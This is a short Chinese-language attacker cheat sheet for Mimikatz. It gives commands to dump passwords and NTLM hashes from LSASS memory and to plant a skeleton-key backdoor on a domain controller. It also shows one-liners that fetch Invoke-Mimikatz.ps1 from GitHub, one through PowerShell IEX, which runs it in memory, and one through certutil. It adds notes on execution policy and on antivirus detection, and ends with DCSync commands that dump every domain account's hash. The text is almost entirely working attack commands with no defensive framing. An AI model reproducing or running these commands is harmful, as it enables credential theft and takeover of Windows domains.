0x00 常用命令
获取本机用户名、口令、sid、LM hash、NTLM hashprivilege::debugsekurlsa::logonpasswords通过内存文件获取口令 使用procdump导出lsass.dmp mimikatz:sekurlsa::minidump lsass.dmpsekurlsa::logonPasswords full通过powershell加载mimikatz获取口令powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz导出所有用户口令维持域控权限万能钥匙,可使用任意用户登陆域控privilege::debugmisc::skeletonnet use \\A-635ECAEE64804.TEST.LOCAL mimikatz /user:test生成万能票据配合ms14-068
0x01 Invoke-Mimikatz.ps1使用
1、使用certutil下载,注意github的dns经常错误,容易下载失败
certutil.exe -urlcache -split -f “https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1”
2、查看和设置powershell执行权限
Get-ExecutionPolicy 查看目前权限
Set-ExecutionPolicy -ExecutionPolicy Restricted 设置权限
#Restricted: 默认设置,不允许任何脚本运行
#AllSigned: 只能运行经过数字证书签名的脚本
#RemoteSigned: 运行本地脚本不需要数字签名,但是运行从网络上下载的脚本必须要有数字签名
#Unrestricted: 允许所有的脚本运行, 但是在运行前会提示是否进行操作
#Bypass: 允许所有的脚本运行, 没有任何的提示和警告
3、执行Mimikatz
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ‘“privilege::debug” “sekurlsa::logonPasswords full”‘
执行结果如下,window server 2008执行成功,win10执行失败
看来是powershell版本太高了,2008的powershell版本是2.0,win10是5.1;语法有更新,不过实际环境中更多的还是低版本的powershell。但是这个脚本不做免杀随便被杀软杀
0x02 一行命令
mimikatz将结果输出到一个文本的命令
mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” > pssword.txt
0x03 导出域控用户信息
Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值。此技术避免了直接使用域控制器进行身份验证的需要,因为它可以以域管理员的权限在任何机器上运行。
lsadump::dcsync /domain:pentestlab.local /all /csv
通过使用/ user参数指定域用户名,Mimikatz可以转储此特定用户的所有帐户信息,包括其密码哈希。
lsadump::dcsync /domain:pentestlab.local /user:test
